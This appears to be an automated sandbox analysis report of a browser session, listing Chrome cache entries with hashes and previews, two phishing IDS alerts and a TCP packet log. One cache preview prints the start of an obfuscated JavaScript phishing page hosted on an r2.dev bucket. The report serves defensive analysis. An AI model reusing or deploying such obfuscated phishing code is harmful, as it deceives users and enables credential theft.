SHA-512:	D63C54BCB3DC728246570345A47221ADD3C39ABCD18FDC7EEBCA7C4DFD33945A1A36DE15B9B1A0EA7D615D53361A3C3A6C42A3310E4425A2DC96BB5F97934C01
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgku-cCHBwF5yRIFDYKLfA4SBQ3oIX6GEgUN05ioBxIeCYIOldwEwkgREgUNGQET-hIFDYGkiEkSBQ3TmKgHEhAJBn_o8c3Iy3cSBQ2kVBUlEhAJGIhf23EPCacSBQ06_LtPEhAJWsqlMRvnMiQSBQ10lbWT?alt=proto
Preview:	ChsKBw2Ci3wOGgAKBw3oIX6GGgAKBw3TmKgHGgAKGwoHDRkBE/oaAAoHDYGkiEkaAAoHDdOYqAcaAAoJCgcNpFQVJRoACgkKBw06/LtPGgAKCQoHDXSVtZMaAA==

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65446)
Category:	downloaded
Size (bytes):	448688
Entropy (8bit):	5.987450364913042
Encrypted:	false
SSDEEP:	6144:7zitCL8DZcbG+EVgLUE2mWj56EbfZ7ZSfbZaA3UDyvyq6HK19UMk5XJgOf:ni9ZHJE2dDZ7ZSfFaA3Vqq6mW
MD5:	DEE21EFCCBD4D7696482A2DBB3F7124C
SHA1:	050E14C1D4635C20B22CEBF016E05457FA65AAE8
SHA-256:	1FF0328188C85B34CCA6B2DBD1C3C66D7D535FD8943D3ABBDA358DA7FEA9697E
SHA-512:	8FDCE22FC62830E8544143912EF77BCFDA732126B155CCBE566383439CEBEF99EBC3107143C7E126AE01A8710B8FF1167610A2A438B5C8094C11320EEE008D6C
Malicious:	false
Reputation:	low
URL:	https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html
Preview:	<html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head>. <body><script>YxMxMJuH='';function _0x2e9b(){var _0x1e4bb0=['src','hostname','slice','click','shortcut\x20icon','type','random','countryName','all_shortcuts','https://','404_not_found','location','http://','appendChild','127.0.0.1','width:210px;height:50px;display:none','center','getJSON','addEventListener','cancelBubble','35iFYKss','stopPropagation','innerHTML','srcElement','hide','getElementsByTagName','keydown','nr\x20gud','data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcsAAABrCAYAAAAYaakdAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAFiUAABYlAUlSJPAAABa2SURBVHhe7Z17cBVVnse11HIstXxb+gfioywcd0WXCpaiq+uDEeOTVYNiIaKBjRUzOqBYgjpL0CVEa4LsGnCE8pWIo0kgJOO6SU1BghMIQ8YgykMHEDQoehU0mvvIH7/t3+k+fc/pPvf27ZCb3MTvr+pTktPnnv5132t/7nl038MIgUAgEAhE2oAsEQgEAoEICMgSgUAgEIiAgCwRCAQCgQgInyw///xzAAAA4BeLKYyyTCQSAAAAwC8OyBIAAAAIALIEAAAAAoAsAQAAgAAgSwAAACAAyBIAAAAIALIEAAAAAoAsAQAAgAAgSwAAA

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	low
URL:	https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 511 x 451
Category:	dropped
Size (bytes):	59813
Entropy (8bit):	7.849542678611182
Encrypted:	false
SSDEEP:	768:paL4wke8SCL6PmJAjANRaQ5VAYDEdLJ1QClZGJ7tyC7eWB/ji8x18cuxBOGUbqho:Ah8BL6fWXg91QCG5sC7c8P8cubVUeBAZ
MD5:	749F60C166E318BA199CFACA226BC400
SHA1:	1B4A13249246377CA3538092AD33ADD559BECEE2
SHA-256:	D95799234A097BA6FE72AEC03DFEADE73A35AFEB458351F153487055C6E46D39
SHA-512:	3E8D66BBAF1E3AB77799281D3737731784482DAD07C27AB457E0DEF3AF09F139CC63178B79ACC4F6CA0D4F0C85CA4AB8D4D4CF4CA0E93AE7D8CAD1D5F9918102
Malicious:	false
Reputation:	low
Preview:	GIF89a.................B.....SZ^w{}......\|......&28......!..NETSCAPE2.0.....!.......,.............I..8...`(.di.h..l.p,.tm.x..\|....pH,...r.l:..tJ.Z..v..z..xL....z.n...\|N.....~...............................................................................................................................................%8 o...#J.8......0hH... .C.3. c.."S.\.r`I.s.plI..M..0.t#..@'...f...H..w .Q4.f..J....O.D...M.......W.~!{...N.r9......nap...~C.^).a{:.O.{.._....pL....P.V.l.2.'.9.n{....Ss.lZ.a..&nm.g..K..F...o..w.Y.8....6.f..@l7..20. ..k........?...x.......=..?............._.~...h...;.h`...p....`....`...0!...p!~...}....\|!.0.\|%.p.{).b{-..bz1.0#z5.p.x9..cx=...vA.0.vE.p$uI...tM..dsQ.0%sU.p.qY..eq]...oa.0.oe.p&ni...mm..flq~0'luzp.jyv.gj}r..h.n0.h.jp(g.f..f.b.he.^0)e.Zp.c.V.ic.R..a.N0.a.Jpja.>.._...W...Ek.u..[..zV....l.].KlU..;U...l..H=.-P.N.S...m.4m.-K.~.R..Dn. ...G.KQ..J.o..J.O..;P...go.5..p~...n....p....p..?.n...Kq..^.q..n.q..O.r...Lr.&..q.*O$0./....3o\3.7

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-1.9.1.js
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (14282)
Category:	dropped
Size (bytes):	209905
Entropy (8bit):	5.880925439742373
Encrypted:	false
SSDEEP:	3072:8apUwlwEq6D6jZqWIexgR0yYGx5IcAGAwtN+Zk/jKJ:8apF7jD6jZNIexi0xGXI1iKJ
MD5:	2F81517A9CBCB531D21B3BADFC5969CE
SHA1:	CAB29965730182AB2C6DC6AE1784CCEBA044ACC9
SHA-256:	D7F19C05DA76AC75053C3C83024D2D2FAF9D9164046A4AA8EB3B7ADE080B31F5
SHA-512:	C09316A47D9299D2B69EFEFF15DF1A840B9A4345E90DEC972342A1D654DD72EB9ABE61A5FF63D4977295FC23DBEB77E781E7B2723A11816C9D19657B6C29E01C
Malicious:	false
Reputation:	low
Preview:	<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="h7nOQhtsbNai6HDhKLDN_w">window._hst=Date.now();</script><script nonce="h7nOQhtsbNai6HDhKLDN_w">(function(){var _g={kEI:'MuxhZ9CyIpHgi-gPzZXKwQo',kEXPI:'31',kBL:'1iWq',kOPI:89978449};(function(){var a;((a=window.google)==null?0:a.stvsc)?google.kEI=_g.kEI:window.google=_g;}).call(this);})();(function(){google.sn='webhp';google.kHL='en';})();(function(){.var g=this\|\|self;function k(){return window.google&&window.google.kOPI\|\|null};var l,m=[];function n(a){for(var b;a&&(!a.getAttribute\|\|!(b=a.getAttribute("eid")));)a=a.parentNode;return b\|\|l}function p(a){for(var b=null;a&&(!a.getAttribute\|\|!(b=a.getAttribute("leid")));)a=a.parentNode;return b}function q(a){/^http:/i.test(a)&&window.location.protocol==="https:"&&(goo

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 511 x 451
Category:	downloaded
Size (bytes):	59813
Entropy (8bit):	7.849542678611182
Encrypted:	false
SSDEEP:	768:paL4wke8SCL6PmJAjANRaQ5VAYDEdLJ1QClZGJ7tyC7eWB/ji8x18cuxBOGUbqho:Ah8BL6fWXg91QCG5sC7c8P8cubVUeBAZ
MD5:	749F60C166E318BA199CFACA226BC400
SHA1:	1B4A13249246377CA3538092AD33ADD559BECEE2
SHA-256:	D95799234A097BA6FE72AEC03DFEADE73A35AFEB458351F153487055C6E46D39
SHA-512:	3E8D66BBAF1E3AB77799281D3737731784482DAD07C27AB457E0DEF3AF09F139CC63178B79ACC4F6CA0D4F0C85CA4AB8D4D4CF4CA0E93AE7D8CAD1D5F9918102
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/accounts/embedded/signin_tapyes.gif
Preview:	GIF89a.................B.....SZ^w{}......\|......&28......!..NETSCAPE2.0.....!.......,.............I..8...`(.di.h..l.p,.tm.x..\|....pH,...r.l:..tJ.Z..v..z..xL....z.n...\|N.....~...............................................................................................................................................%8 o...#J.8......0hH... .C.3. c.."S.\.r`I.s.plI..M..0.t#..@'...f...H..w .Q4.f..J....O.D...M.......W.~!{...N.r9......nap...~C.^).a{:.O.{.._....pL....P.V.l.2.'.9.n{....Ss.lZ.a..&nm.g..K..F...o..w.Y.8....6.f..@l7..20. ..k........?...x.......=..?............._.~...h...;.h`...p....`....`...0!...p!~...}....\|!.0.\|%.p.{).b{-..bz1.0#z5.p.x9..cx=...vA.0.vE.p$uI...tM..dsQ.0%sU.p.qY..eq]...oa.0.oe.p&ni...mm..flq~0'luzp.jyv.gj}r..h.n0.h.jp(g.f..f.b.he.^0)e.Zp.c.V.ic.R..a.N0.a.Jpja.>.._...W...Ek.u..[..zV....l.].KlU..;U...l..H=.-P.N.S...m.4m.-K.~.R..Dn. ...G.KQ..J.o..J.O..;P...go.5..p~...n....p....p..?.n...Kq..^.q..n.q..O.r...Lr.&..q.*O$0./....3o\3.7

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	4.9418413196114015
Encrypted:	false
SSDEEP:	24:YydAmCf205hNkHYuYDmSnfC3MLu2Y204/z:Y9D205huHHOmSn63a
MD5:	B9173B5D2E75578059A6E02627C43336
SHA1:	6BD02DC7DF1D9CC095B494A4EEFF3722DC0D3F14
SHA-256:	67268F4EFF8252EDAD8498CCE8C03603DA53EAC5F30676F0C161455F9D3DC600
SHA-512:	B8C200F6A769E11D6D6A160208E1F5C204BC0BB4948900F6A10033E8A9616DDA3243FF4395DB9801BAD499F1EFA485F77E0EC8D6A6DC01099E6155E9E72FADA7
Malicious:	false
Reputation:	low
Preview:	{"ipVersion":4,"ipAddress":"8.46.123.189","latitude":40.713192,"longitude":-74.006065,"countryName":"United States of America","countryCode":"US","timeZone":"-04:00","zipCode":"10116","cityName":"New York City","regionName":"New York","isProxy":false,"continent":"Americas","continentCode":"AM","currency":{"code":"USD","name":"US Dollar"},"language":"English","timeZones":["America\/Adak","America\/Anchorage","America\/Boise","America\/Chicago","America\/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","America\/North_Dakota\/Beulah","America\/North_Dakota\/Center","America\/North_Dakota\/New_Salem","A

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T22:24:53.250202+0100	2047978	ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1	2	192.168.2.16	49739	104.21.57.143	443	TCP
2024-12-17T22:24:56.125433+0100	2047978	ET PHISHING [TW] NOTG Obfuscation Redirect Observed M1	2	192.168.2.16	49742	104.21.57.143	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 22:23:20.772932053 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.772985935 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:20.773091078 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.773530006 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.773572922 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:20.773631096 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.773760080 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.773776054 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:20.773909092 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:20.773925066 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:21.608747005 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:21.909887075 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:22.509840012 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:22.801945925 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.802109957 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.802298069 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.802345991 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.802534103 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.802551031 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.803857088 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.803947926 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.804032087 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.804095030 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.805197001 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.805294037 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.805387974 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.805474043 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.805538893 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.805556059 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.857903957 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.857925892 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:22.857978106 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:22.905914068 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.359076977 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.359289885 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.359373093 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.359994888 CET	49708	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.360027075 CET	443	49708	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.362639904 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.407340050 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.710917950 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:23.909369946 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.909457922 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.909532070 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.909931898 CET	49709	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.909959078 CET	443	49709	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.911957026 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.912018061 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:23.912101030 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.912399054 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:23.912415981 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:24.526088953 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:24.526165009 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:24.526248932 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:24.526535034 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:24.526573896 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:25.306396008 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.306755066 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.306788921 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.307137012 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.307630062 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.307702065 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.307784081 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.355333090 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.847299099 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.847404003 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.847547054 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.847949028 CET	49712	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.847968102 CET	443	49712	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.850583076 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.850646019 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:25.850745916 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.850951910 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:25.850969076 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:26.042190075 CET	49689	80	192.168.2.16	192.229.211.108
Dec 17, 2024 22:23:26.132827044 CET	49673	443	192.168.2.16	204.79.197.203
Dec 17, 2024 22:23:26.223423958 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:26.223875999 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:26.223900080 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:26.224951982 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:26.225038052 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:26.226239920 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:26.226309061 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:26.274843931 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:26.274868965 CET	443	49713	142.250.181.132	192.168.2.16
Dec 17, 2024 22:23:26.321845055 CET	49713	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:23:27.227840900 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.228276014 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:27.228307962 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.228651047 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.229038000 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:27.229099035 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.229335070 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:27.271344900 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.767373085 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.767455101 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:27.767527103 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:27.767942905 CET	49715	443	192.168.2.16	3.251.43.2
Dec 17, 2024 22:23:27.767971992 CET	443	49715	3.251.43.2	192.168.2.16
Dec 17, 2024 22:23:28.012763023 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:28.012809992 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:28.012896061 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:28.013123035 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:28.013142109 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.228199005 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.228573084 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.228593111 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.229665995 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.229743958 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.230954885 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.231015921 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.231232882 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.231239080 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.271097898 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.781308889 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:29.832758904 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832819939 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832854033 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832875013 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.832881927 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832899094 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832936049 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832941055 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.832947016 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.832978010 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.841048002 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.841196060 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.841213942 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.849436045 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.849514008 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.849529982 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.904829025 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:29.952538967 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:29.997838974 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.024607897 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.034960032 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.035005093 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.035070896 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.035099983 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.035149097 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.042896032 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.050944090 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.051103115 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.051179886 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.051202059 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.051248074 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.058912039 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.067142010 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.069360018 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.069374084 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.075197935 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.075275898 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.075284004 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.083117962 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.083857059 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.083870888 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.091309071 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.093360901 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.093370914 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.093833923 CET	49678	443	192.168.2.16	20.189.173.10
Dec 17, 2024 22:23:30.105185986 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.105269909 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.105341911 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.105355024 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.105509996 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.112169027 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.144254923 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.149060965 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.149096012 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.204972029 CET	49717	443	192.168.2.16	162.159.140.237
Dec 17, 2024 22:23:30.216696024 CET	443	49717	162.159.140.237	192.168.2.16
Dec 17, 2024 22:23:30.219104052 CET	443	49717	162.159.140.237	192.168.2.16
